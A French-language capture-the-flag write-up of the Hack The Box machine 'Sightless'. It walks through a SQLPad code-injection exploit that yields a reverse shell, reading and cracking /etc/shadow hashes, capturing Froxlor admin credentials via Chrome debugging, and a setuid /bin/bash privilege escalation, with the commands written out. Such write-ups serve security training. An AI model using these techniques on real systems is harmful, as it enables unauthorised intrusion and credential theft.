Sightless

IMPORTANT : Ce compte-rendu a été rédigé la semaine où la machine était active durant la saison, mais publié à la fin de la saison afin de ne pas impacter son déroulement conformément aux règles de la plateforme

Lien vers l’épreuve : https://app.hackthebox.com/machines/Sightless

Easy

Sommaire

Reconnaissance

nmap -T4 -A sightless.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-14 15:21 CEST
Nmap scan report for sightless.htb (10.10.11.32)
Host is up (0.027s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings: 
|   GenericLines: 
|     220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_  256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Sightless.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.94SVN%I=7%D=9/14%Time=66E58DFB%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,A0,"220\x20ProFTPD\x20Server\x20\(sightless\.htb\x20FTP\x20
SF:Server\)\x20\[::ffff:10\.10\.11\.32\]\r\n500\x20Invalid\x20command:\x20
SF:try\x20being\x20more\x20creative\r\n500\x20Invalid\x20command:\x20try\x
SF:20being\x20more\x20creative\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.56 seconds

Le scan NMAP indique qu’il y a un serveur FTP sur le port 21 (qui ne semble pas accessible par les utilisateurs anonymes), un serveur SSH sur le port 22 et un serveur Nginx sur le port 80

Analyse du site

Une rapide analyse du site nous indique que le serveur utilise SQLPad et Froxlor. Nous allons pouvoir chercher des vulnérabilités sur ces outils

Les services proposés
Les services proposés

En explorant SQLPad, il n’apparaît pas de nécessité de connexion pour y accéder. La version utilisée 6.10.0 est vulnérable à l’injection de code, documentée dans le CVE-2022-0944.

Pour exploiter cette vulnérabilité, nous utilisons le code fourni par l’utilisateur 0xRoqeeb sur Github

Pour l’utiliser, nous lançons le programme avec la commande :

python3 exploit.py http://sqlpad.sightless.htb 10.10.14.84 9000
Response status code: 400
Response body: {"title":"connect ECONNREFUSED 127.0.0.1:3306"}
Exploit sent, but server responded with status code: 400. Check your listener.

En utilisant Netcat, nous obtenons un reverse-shell

nc -lvnp 9000
listening on [any] 9000 ...
connect to [10.10.14.84] from (UNKNOWN) [10.10.11.32] 33330
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad#

Exploration

Bien que nous soyons root sur la machine, il apparaît que nous sommes en réalité dans container Docker

ls -hal /
total 88K
drwxr-xr-x   1 root root 4.0K Aug  2 09:30 .
drwxr-xr-x   1 root root 4.0K Aug  2 09:30 ..
-rwxr-xr-x   1 root root    0 Aug  2 09:30 .dockerenv
[... expurgé pour brièveté ...]
-rwxr-xr-x   1 root root  413 Mar 12  2022 docker-entrypoint
[... expurgé pour brièveté ...]

Nous allons donc devoir trouver un moyen d’échapper à l’environnement, et atteindre le serveur qui fait tourner cet outil.

En explorant le container, nous constatons qu’il existe un compte pour un utilisateur “michael”. Nous pouvons récupérer le hash de son mot de passe ainsi que celui du compte root en lisant le fichier /etc/shadow

cat /etc/shadow
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTIT[... expurgé ...]0LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
[... expurgé pour brièveté ...]
michael:$6$mG3Cp2VPGY.FDE8u$KVWVI[... expurgé ...]aFYuJa6DUh/pL2IJD/:19860:0:99999:7:::

Nous récupérons les hashes dans un fichier texte, et nous lançons Hashcat afin de récupérer les mots de passe.

hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTIT[... expurgé ...]0LGaepC3ch6Bb2z/lEpBM90Ra4b.:b[...expurgé...]e
michael:$6$mG3Cp2VPGY.FDE8u$KVWVI[... expurgé ...]aFYuJa6DUh/pL2IJD/:i[...expurgé...]e

Bien que la tentative de connexion au compte root soit infructueuse, nous sommes parvenu à nous connecter en SSH avec le mot de passe récupérer pour Michael

ssh root@sightless.htb
root@sightless.htb's password: 
Permission denied, please try again.
root@sightless.htb's password: 

ssh michael@sightless.htb
michael@sightless.htb's password: 
Last login: Sat Sep 14 14:42:08 2024 from 10.10.14.102
michael@sightless:~$

Nous pouvons récupérer le flag user :

cat user.txt 
bd6ac9[...expurgé...]b7e8ea

Elevation de privilèges

L’utilisateur ne peut pas faire de commande sudo, la crontab n’est pas alimentée. La recherche de binaires disposant de droits particuliers ne donne pas de résultat intéressant non plus.

En revanche, en listant les ports ouverts, nous constatons que le port 8080 est ouvert :

netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
[... expurgé pour brièveté ...]
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN
[... expurgé pour brièveté ...]

Nous ouvrons donc une connexion SSH avec redirection de port pour pouvoir analyser le contenu.

Le service ouvert est Froxlor, et nécessite des identifiants

Accueil de Froxlor
Accueil de Froxlor

Nous tentons d’utiliser la payload du CVE-2024-34070 sans succès, sûrement dû à l’absence d’interaction par un administrateur.

En tentant d’exploiter une faille de Google Chrome / Chromium avec la commande chrome://inspect/#devices et en ajoutant les ports ouverts (et forwardés) dans le menu Configure nous observons des actions de connexion sur l’outil Froxlor :

Chromium nous permet d'observer des actions sur l'outil Froxlor
Chromium nous permet d'observer des actions sur l'outil Froxlor

En cliquant sur “inspect” nous pouvons accéder aux outils d’analyse du réseau de Chromium où nous trouvons une page index.php qui contient en payload les données de connexions pour Froxlor :

loginname: admin
password: For[... expurgé ...]Admin
dologin:

Nous pouvons enfin accéder à l’outil :

Interface de l'outil Froxlor
Interface de l'outil Froxlor

Depuis l’onglet PHP / PHP-FPM versions nous pouvons ajouter une commande lors du redémarrage de php-fpm. Dans le but de devenir root sur la machine, nous optons pour chmod 4777 /bin/bash afin de permettre de devenir root en exécutant /bin/bash -p en étant connecter en tant que Michael.

En redémarrant le service PHP-FPM, le binaire /bin/bash a bien changé de droits

# Avant
ls -hal /bin/bash
-rwxr-xr-x 1 root root 1.4M Mar 14  2024 /bin/bash

# Après
ls -hal /bin/bash
-rwsrwxrwx 1 root root 1.4M Mar 14  2024 /bin/bash

Nous pouvons élever nos droits et devenir root. Ainsi nous pouvons récupérer le flag root.txt

/bin/bash -p
bash-5.1# id
uid=1000(michael) gid=1000(michael) euid=0(root) groups=1000(michael)
bash-5.1# cat /root/root.txt 
6c41fa[... expurgé ...]685ef4